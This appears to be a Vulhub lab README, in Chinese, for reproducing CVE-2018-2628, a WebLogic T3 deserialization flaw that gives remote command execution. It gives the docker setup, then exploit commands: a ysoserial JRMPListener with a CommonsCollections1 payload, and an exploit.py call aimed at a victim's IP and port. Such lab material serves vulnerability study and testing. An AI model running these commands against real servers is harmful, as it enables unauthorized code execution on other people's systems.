Files
vulhub/weblogic/CVE-2018-2628/README.zh-cn.md
Aaron 63285f61aa
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled
first commit
2025-09-06 16:08:15 +08:00

42 lines
1.7 KiB
Markdown
Raw Permalink Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Weblogic WLS Core Components 反序列化命令执行漏洞CVE-2018-2628
Oracle 2018年4月补丁中修复了Weblogic Server WLS Core Components中出现的一个反序列化漏洞CVE-2018-2628该漏洞通过T3协议触发可导致未授权的用户在远程服务器执行任意命令。
参考链接:
- http://www.oracle.com/technetwork/security-advisory/cpuapr2018-3678067.html
- http://mp.weixin.qq.com/s/nYY4zg2m2xsqT0GXa9pMGA
- https://github.com/tdy218/ysoserial-cve-2018-2628
## 漏洞环境
执行如下命令启动Weblogic 10.3.6.0
```
docker compose up -d
```
等待环境启动(环境差异,有的机器可能等待的时间比较久),访问`http://your-ip:7001/console`,初始化整个环境。
## 漏洞复现
首先下载ysoserial并启动一个JRMP Server
```
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener [listen port] CommonsCollections1 [command]
```
其中,`[command]`即为我想执行的命令,而`[listen port]`是JRMP Server监听的端口。
然后,使用[exploit.py](https://www.exploit-db.com/exploits/44553)脚本向目标Weblogic`http://your-ip:7001`)发送数据包:
```
python exploit.py [victim ip] [victim port] [path to ysoserial] [JRMPListener ip] [JRMPListener port] [JRMPClient]
```
其中,`[victim ip]``[victim port]`是目标weblogic的IP和端口`[path to ysoserial]`是本地ysoserial的路径`[JRMPListener ip]``[JRMPListener port]`第一步中启动JRMP Server的IP地址和端口。`[JRMPClient]`是执行JRMPClient的类可选的值是`JRMPClient``JRMPClient2`
exploit.py执行完成后执行`docker compose exec weblogic bash`进入容器中,可见/tmp/success已成功创建。
![](1.png)